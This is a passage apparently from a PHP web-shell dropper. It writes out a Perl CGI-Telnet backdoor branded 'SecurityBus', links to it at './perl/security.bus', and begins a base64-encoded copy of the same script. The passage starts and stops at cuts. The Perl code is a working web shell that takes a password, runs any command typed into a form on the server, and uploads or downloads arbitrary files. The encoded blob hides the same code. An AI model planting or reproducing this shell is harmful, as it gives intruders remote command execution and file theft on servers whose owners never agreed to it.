s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\tprint \"Content-type: text/html\\n\\n\";\r\n\tprint <<END;\r\n<html>\r\n<head>\r\n<title>SecurityBus</title>\r\n\$HtmlMetaHeader\r\n</head>\r\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\r\n<tr>\r\n<td bgcolor=\"#C2BFA5\" bordercolor=\"#000080\" align=\"center\">\r\n<b><font color=\"#000080\" size=\"2\">#</font></b></td>\r\n<td bgcolor=\"#000080\"><font face=\"Verdana\" size=\"2\" color=\"#009900\"><b>CGI-Telnet SecurityBus Connected to \$ServerName</b></font></td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\" bgcolor=\"#C2BFA5\"><font face=\"Verdana\" size=\"2\">\r\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \r\n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\r\n<a href=\"\$ScriptLocation?a=logout\">Disconnect</a> |\r\n<a href=\"UNITX_TEAM@HOTMAIL.COM\">Help</a>\r\n</font></td>\r\n</tr>\r\n</table>\r\n<font color=\"#009900\" size=\"3\">\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the Login Screen\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginScreen\r\n{\r\n\t\$Message = q\$<pre><font color=\"#ff0000\"> _____ _____ _____ _____ _ _\r\n/ __ \\| __ \\|_ _| |_ _| | | | |\r\n| / \\/| | \\/ | | ______ | | ___ | | _ __ ___ | |_\r\n| | | | __ | | |______| | | / _ \\| || '_ \\ / _ \\| __|\r\n| \\__/\\| |_\\ \\ _| |_ | | | __/| || | | || __/| |_\r\n \\____/ \\____/ \\___/ \\_/ \\___||_||_| |_| \\___| \\__| 1.0\r\n \r\n</font><font color=\"#FF0000\"> ______ </font><font color=\"#AE8300\"> 2015, SecurityBus</font><font color=\"#FF0000\">\r\n .-" "-.\r\n / \\\r\n | |\r\n |, .-. .-. ,|\r\n | )(_o/ \\o_)( |\r\n |/ /\\ \\|\r\n (@_ (_ ^^ _)\r\n _ ) \\</font><font color=\"#009900\">_______</font><font color=\"#FF0000\">\\</font><font color=\"#009900\">__</font><font color=\"#FF0000\">|*EVIL*|</font><font color=\"#009900\">__</font><font color=\"#FF0000\">/</font><font color=\"#009900\">_______________________\r\n</font><font color=\"#FF0000\"> (_)</font><font color=\"#009900\">@8@8</font><font color=\"#FF0000\">{}</font><font color=\"#009900\"><________</font><font color=\"#FF0000\">|-\\MASTER/-|</font><font color=\"#009900\">________________________></font><font color=\"#FF0000\">\r\n )_/ \\ / \r\n (@ `--------`\r\n </font><font color=\"#AE8300\">W A R N I N G: Private Server </font></pre>\r\n\$;\r\n#'\r\n\tprint <<END;\r\n<code>\r\nTrying \$ServerName...<br>\r\nConnected to \$ServerName<br>\r\nEscape character is ^]\r\n<code>\$Message\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the message that informs the user of a failed login\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginFailedMessage\r\n{\r\n\tprint <<END;\r\n<code>\r\n<br>login: admin<br>\r\npassword:<br>\r\nLogin incorrect<br><br>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form for logging in\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginForm\r\n{\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"login\">\r\nlogin: admin<br>\r\npassword:<input type=\"password\" name=\"p\">\r\n<input type=\"submit\" value=\"Enter\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the footer for the HTML Page\r\n#------------------------------------------------------------------------------\r\nsub PrintPageFooter\r\n{\r\n\tprint \"</font></body></html>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Retreives the values of all cookies. The cookies can be accesses using the\r\n# variable \$Cookies{''}\r\n#------------------------------------------------------------------------------\r\nsub GetCookies\r\n{\r\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\r\n\tforeach \$cookie(@httpcookies)\r\n\t{\r\n\t\t(\$id, \$val) = split(/=/, \$cookie);\r\n\t\t\$Cookies{\$id} = \$val;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the screen when the user logs out\r\n#------------------------------------------------------------------------------\r\nsub PrintLogoutScreen\r\n{\r\n\tprint \"<code>Connection closed by foreign host.<br><br></code>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Logs out the user and allows the user to login again\r\n#------------------------------------------------------------------------------\r\nsub PerformLogout\r\n{\r\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\r\n\t&PrintPageHeader(\"p\");\r\n\t&PrintLogoutScreen;\r\n\t&PrintLoginScreen;\r\n\t&PrintLoginForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to login the user. If the password matches, it\r\n# displays a page that allows the user to run commands. If the password doens't\r\n# match or if no password is entered, it displays a form that allows the user\r\n# to login\r\n#------------------------------------------------------------------------------\r\nsub PerformLogin \r\n{\r\n\tif(\$LoginPassword eq \$Password) # password matched\r\n\t{\r\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n\telse # password didn't match\r\n\t{\r\n\t\t&PrintPageHeader(\"p\");\r\n\t\t&PrintLoginScreen;\r\n\t\tif(\$LoginPassword ne \"\") # some password was entered\r\n\t\t{\r\n\t\t\t&PrintLoginFailedMessage;\r\n\t\t}\r\n\t\t&PrintLoginForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to enter commands\r\n#------------------------------------------------------------------------------\r\nsub PrintCommandLineInputForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"command\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n\$Prompt\r\n<input type=\"text\" name=\"c\">\r\n<input type=\"submit\" value=\"Enter\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to download files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileDownloadForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"download\">\r\n\$Prompt download<br><br>\r\nFilename: <input type=\"text\" name=\"f\" size=\"35\"><br><br>\r\nDownload: <input type=\"submit\" value=\"Begin\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to upload files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileUploadForm\r\n{\r\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\tprint <<END;\r\n<code>\r\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\$Prompt upload<br><br>\r\nFilename: <input type=\"file\" name=\"f\" size=\"35\"><br><br>\r\nOptions: <input type=\"checkbox\" name=\"o\" value=\"overwrite\">\r\nOverwrite if it Exists<br><br>\r\nUpload: <input type=\"submit\" value=\"Begin\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"upload\">\r\n</form>\r\n</code>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the timeout for a command expires. We need to\r\n# terminate the script immediately. This function is valid only on Unix. It is\r\n# never called when the script is running on NT.\r\n#------------------------------------------------------------------------------\r\nsub CommandTimeout\r\n{\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t\tprint <<END;\r\n</xmp>\r\n<code>\r\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).\r\n<br>Killed it!\r\n<code>\r\nEND\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t\texit;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to execute commands. It displays the output of the\r\n# command and allows the user to enter another command. The change directory\r\n# command is handled differently. In this case, the new directory is stored in\r\n# an internal variable and is used each time a command has to be executed. The\r\n# output of the change directory command is not displayed to the users\r\n# therefore error messages cannot be displayed.\r\n#------------------------------------------------------------------------------\r\nsub ExecuteCommand\r\n{\r\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\r\n\t{\r\n\t\t# we change the directory internally. The output of the\r\n\t\t# command is not displayed.\r\n\t\t\r\n\t\t\$OldDir = \$CurrentDir;\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\r\n\t\tchop(\$CurrentDir = `\$Command`);\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$Prompt = \$WinNT ? \"\$OldDir> \" : \"[admin\\@\$ServerName \$OldDir]\\\$ \";\r\n\t\tprint \"<code>\$Prompt \$RunCommand</code>\";\r\n\t}\r\n\telse # some other command, display the output\r\n\t{\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\r\n\t\tprint \"<code>\$Prompt \$RunCommand</code><xmp>\";\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\r\n\t\tif(!\$WinNT)\r\n\t\t{\r\n\t\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\r\n\t\t\talarm(\$CommandTimeoutDuration);\r\n\t\t}\r\n\t\tif(\$ShowDynamicOutput) # show output as it is generated\r\n\t\t{\r\n\t\t\t\$|=1;\r\n\t\t\t\$Command .= \" |\";\r\n\t\t\topen(CommandOutput, \$Command);\r\n\t\t\twhile(<CommandOutput>)\r\n\t\t\t{\r\n\t\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\r\n\t\t\t\tprint \"\$_\\n\";\r\n\t\t\t}\r\n\t\t\t\$|=0;\r\n\t\t}\r\n\t\telse # show output after command completes\r\n\t\t{\r\n\t\t\tprint `\$Command`;\r\n\t\t}\r\n\t\tif(!\$WinNT)\r\n\t\t{\r\n\t\t\talarm(0);\r\n\t\t}\r\n\t\tprint \"</xmp>\";\r\n\t}\r\n\t&PrintCommandLineInputForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function displays the page that contains a link which allows the user\r\n# to download the specified file. The page also contains a auto-refresh\r\n# feature that starts the download automatically.\r\n# Argument 1: Fully qualified filename of the file to be downloaded\r\n#------------------------------------------------------------------------------\r\nsub PrintDownloadLinkPage\r\n{\r\n\tlocal(\$FileUrl) = @_;\r\n\tif(-e \$FileUrl) # if the file exists\r\n\t{\r\n\t\t# encode the file link so we can send it to the browser\r\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\r\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\tprint <<END;\r\n<code>\r\nSending File \$TransferFile...<br>\r\nIf the download does not start automatically,\r\n<a href=\"\$DownloadLink\">Click Here</a>.\r\n</code>\r\nEND\r\n\t\t&PrintCommandLineInputForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n\telse # file doesn't exist\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\tprint \"<code>Failed to download \$FileUrl: \$!</code>\";\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function reads the specified file from the disk and sends it to the\r\n# browser, so that it can be downloaded by the user.\r\n# Argument 1: Fully qualified pathname of the file to be sent.\r\n#------------------------------------------------------------------------------\r\nsub SendFileToBrowser\r\n{\r\n\tlocal(\$SendFile) = @_;\r\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tbinmode(SENDFILE);\r\n\t\t\tbinmode(STDOUT);\r\n\t\t}\r\n\t\t\$FileSize = (stat(\$SendFile))[7];\r\n\t\t(\$Filename = \$SendFile) =~ m!([^/^\\\\]*)\$!;\r\n\t\tprint \"Content-Type: application/x-unknown\\n\";\r\n\t\tprint \"Content-Length: \$FileSize\\n\";\r\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\r\n\t\tprint while(<SENDFILE>);\r\n\t\tclose(SENDFILE);\r\n\t}\r\n\telse # failed to open file\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\tprint \"<code>Failed to download \$SendFile: \$!</code>\";\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t}\r\n}\r\n\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user downloads a file. It displays a message\r\n# to the user and provides a link through which the file can be downloaded.\r\n# This function is also called when the user clicks on that link. In this case,\r\n# the file is read and sent to the browser.\r\n#------------------------------------------------------------------------------\r\nsub BeginDownload\r\n{\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to upload a file. If the\r\n# file is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it starts the upload process.\r\n#------------------------------------------------------------------------------\r\nsub UploadFile\r\n{\r\n\t# if no file is specified, print the upload form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\t&PrintFileUploadForm;\r\n\t\t&PrintPageFooter;\r\n\t\treturn;\r\n\t}\r\n\t&PrintPageHeader(\"c\");\r\n\r\n\t# start the uploading process\r\n\tprint \"<code>Uploading \$TransferFile to \$CurrentDir...<br>\";\r\n\r\n\t# get the fullly qualified pathname of the file to be created\r\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\r\n\t\$TargetName .= \$PathSep.\$1;\r\n\r\n\t\$TargetFileSize = length(\$in{'filedata'});\r\n\t# if the file exists and we are not supposed to overwrite it\r\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\r\n\t{\r\n\t\tprint \"Failed: Destination file already exists.<br>\";\r\n\t}\r\n\telse # file is not present\r\n\t{\r\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\r\n\t\t{\r\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\r\n\t\t\tprint UPLOADFILE \$in{'filedata'};\r\n\t\t\tclose(UPLOADFILE);\r\n\t\t\tprint \"Transfered \$TargetFileSize Bytes.<br>\";\r\n\t\t\tprint \"File Path: \$TargetName<br>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tprint \"Failed: \$!<br>\";\r\n\t\t}\r\n\t}\r\n\tprint \"</code>\";\r\n\t&PrintCommandLineInputForm;\r\n\t&PrintPageFooter;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to download a file. If the\r\n# filename is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it displays a message to the user and provides a link\r\n# through which the file can be downloaded.\r\n#------------------------------------------------------------------------------\r\nsub DownloadFile\r\n{\r\n\t# if no file is specified, print the download form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\t&PrintFileDownloadForm;\r\n\t\t&PrintPageFooter;\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Main Program - Execution Starts Here\r\n#------------------------------------------------------------------------------\r\n&ReadParse;\r\n&GetCookies;\r\n\r\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\r\n\$ServerName = \$ENV{'SERVER_NAME'};\r\n\$LoginPassword = \$in{'p'};\r\n\$RunCommand = \$in{'c'};\r\n\$TransferFile = \$in{'f'};\r\n\$Options = \$in{'o'};\r\n\r\n\$Action = \$in{'a'};\r\n\$Action = \"login\" if(\$Action eq \"\"); # no action specified, use default\r\n\r\n# get the directory in which the commands will be executed\r\n\$CurrentDir = \$in{'d'};\r\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\r\n\r\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\r\n\r\nif(\$Action eq \"login\" || !\$LoggedIn) # user needs/has to login\r\n{\r\n\t&PerformLogin;\r\n}\r\nelsif(\$Action eq \"command\") # user wants to run a command\r\n{\r\n\t&ExecuteCommand;\r\n}\r\nelsif(\$Action eq \"upload\") # user wants to upload a file\r\n{\r\n\t&UploadFile;\r\n}\r\nelsif(\$Action eq \"download\") # user wants to download a file\r\n{\r\n\t&DownloadFile;\r\n}\r\nelsif(\$Action eq \"logout\") # user wants to logout\r\n{\r\n\t&PerformLogout;\r\n}\r\n\r\n\r\n");
echo "<a href='./perl/security.bus'>Here security.bus</a><br>";
$fileencode1 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iU2VjdXJpdHlCdXMiOw0KDQokUGFzc3dvcmQgPSAiIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxMzA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aA0KIy0tLS0t